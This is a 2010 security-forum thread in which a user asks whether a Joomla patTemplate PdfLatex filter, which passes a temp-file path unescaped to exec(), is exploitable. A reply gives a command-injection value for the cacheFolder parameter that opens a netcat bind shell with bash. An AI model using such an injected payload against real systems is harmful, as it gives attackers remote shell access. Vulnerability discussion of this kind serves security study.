|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 80
Members: 0
Total: 80
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
this file is vuln???? |
|
Posted: Thu Jul 01, 2010 12:22 pm |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
Hey i m wonderin' if the file is vulnerable or no, With RFI or lfi,remote execution..Look please and tell...
Code: | <?PHP
// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();
class patTemplate_OutputFilter_PdfLatex extends patTemplate_OutputFilter
{
/**
* filter name
*
* This has to be set in the final
* filter classes.
*
* @var string
*/
var $_name = 'PdfLatex';
var $_params = array(
'cacheFolder' => './'
);
/**
* tidy the data
*
* @access public
* @param string data
* @return string compressed data
*/
function apply( $data )
{
$cacheFolder = $this->getParam('cacheFolder');
$texFile = tempnam($cacheFolder, 'pt_tex_');
$fp = fopen($texFile, 'w');
fwrite($fp, $data);
fclose($fp);
$command = 'pdflatex '.$texFile;
exec($command);
exec($command);
$pdf = $texFile . '.pdf';
$pdf = file_get_contents($pdf);
return $pdf;
}
}
?> |
|
|
|
|
|
|
|
|
|
Posted: Thu Jul 01, 2010 7:11 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
|
|
|
|
Posted: Fri Jul 02, 2010 5:06 pm |
|
|
Xuphanc |
Beginner |
|
|
Joined: Jul 02, 2010 |
Posts: 1 |
|
|
|
|
|
|
|
If you find a User-tainted UNSERIALIZE() you can change the $cacheFolder to inject OS commands. It depends on your OS if non-existing dirs like
Code: | Foo;nc -l -p7777 -e `which bash` |
Are excepted by tempnam(), You'll have to check. |
|
_________________ I asked God for a bike, but I know God doesn´t work that way. So I stole a bike and asked for forgiveness. |
|
|
|
www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|